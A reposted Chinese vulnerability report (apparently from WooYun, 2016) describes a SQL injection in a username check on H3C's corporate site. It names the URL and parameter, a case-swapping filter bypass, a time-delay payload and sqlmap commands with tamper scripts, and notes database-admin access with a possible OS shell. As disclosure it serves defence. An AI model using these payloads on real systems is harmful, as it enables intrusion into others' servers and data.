神刀安全网

漏洞标题: H3C主站SQL注入(绕过过滤)

漏洞详情

披露状态:

2016-04-09: 细节已通知厂商并且等待厂商处理中
2016-04-14: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

rt

详细说明:

code 区域
http://www.h3c.com.cn/pub/2015_Event/H3CB_2015/bottom_9.html

漏洞标题:  H3C主站SQL注入(绕过过滤)

看到这页面,冥冥之中就有预感,会发生什么. 索性就抓个包看看吧

输入用户名 点击: 检查是否可用 此时抓包:

漏洞标题:  H3C主站SQL注入(绕过过滤)

在Repeter 中手工测试发现:

过滤了 < > = 过滤了关键字有and等, 但是可通过aNd绕过

手工测试了:

;If(1234 nOt bETweEn 0 aND 123) WAITFOR DELAY '0:0:10'–

发现还是可以注入的

漏洞证明:

code 区域
sqlmap -r 2.txt -p txtUserName --tamper=between.py,equaltolike.py,randomcase.py --dbms="Microsoft sql server" --time-sec 15

漏洞标题:  H3C主站SQL注入(绕过过滤)

测试了很多次, 发现时延很大,而且老误报,第一次跑出来用户名不是sa ,复现的时候就是sa了,

请审核的大大留意一下

sqlmap -r 2.txt -p txtUserName –tamper=between.py,equaltolike.py,randomcase.py –dbms="Microsoft sql server" –time-sec 10 –current-user

漏洞标题:  H3C主站SQL注入(绕过过滤)

漏洞标题:  H3C主站SQL注入(绕过过滤)

数据库名应该是 CMS2007_Admin_DB (第一次跑的结果), 这次前两位应该是误报了

又是sa 又是stacked queries, 那么你懂得,实在是太慢了 –os-shell就不继续了

漏洞标题:  H3C主站SQL注入(绕过过滤)

同一个服务器还有其他旁站,影响算严重不

修复方案:

过滤/参数化查询

版权声明:转载请注明来源 云袭2001@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: H3C主站SQL注入(绕过过滤)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮